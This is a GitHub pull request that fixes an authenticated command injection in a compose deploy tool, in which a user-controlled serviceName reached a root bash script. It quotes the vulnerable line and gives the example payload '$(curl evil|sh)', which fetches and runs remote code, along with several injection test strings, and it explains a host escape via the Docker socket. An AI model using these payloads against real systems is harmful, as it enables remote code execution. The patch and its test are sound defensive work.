Skip to content

fix(security): command injection via compose domain serviceName (host escape)#4872

Open
Siumauricio wants to merge 2 commits into
canaryfrom
fix/cmdi-domain-servicename
Open

fix(security): command injection via compose domain serviceName (host escape)#4872
Siumauricio wants to merge 2 commits into
canaryfrom
fix/cmdi-domain-servicename

Conversation

@Siumauricio

Copy link
Copy Markdown
Contributor

Fixes GHSA-xmmr-fhf3-cwwj (Authenticated RCE + Host Escape via Command Injection in Domain Management).

Problem

writeDomainsToCompose returns a shell fragment that getBuildComposeCommand embeds verbatim into the bash script run (as root) during a compose deploy. On the error path it interpolated error.message straight into an echo:

return `echo "❌ Has occurred an error: ${error?.message || error}"; exit 1;`;

That error message embeds the user-controlled serviceName (and host) from addDomainToCompose. A member with domain:create on a compose service can set serviceName to e.g. $(curl evil|sh); when the service is not found, the message — and the payload — is executed. With the Docker socket mounted this escapes to the host.

Fix

Escape the message with shell-quote's quote() before it enters the echo, and drop the @ts-ignore by narrowing the error. The value now reaches the shell as a single inert literal.

Verification

  • Unit test (__test__/compose/domain-command-injection.test.ts): mocks the compose file so a missing service forces the error path; asserts payloads ($(touch), backtick, ;, &&|) parse as literal tokens (no operator tokens leak) while the legit message stays intact.
  • Confirmed independently that every payload collapses to one quoted token and legit output stays readable.

Closes GHSA-xmmr-fhf3-cwwj.

… injection

writeDomainsToCompose returns a shell fragment that is executed as part of the
compose build script. On error it interpolated error.message (which embeds the
user-controlled serviceName/host) directly into an echo, so a serviceName like
$(cmd) executed as root. Escape the message with quote().
@dosubot dosubot Bot added size:XS This PR changes 0-9 lines, ignoring generated files. bug Something isn't working labels Jul 20, 2026
…teral check)

quote() legitimately wraps the payload text inside single quotes, so the raw
substring is present but inert. leaksShellSyntax (via shell-quote parse) is the
correct assertion; the literal not.toContain check was wrong.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working size:XS This PR changes 0-9 lines, ignoring generated files.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant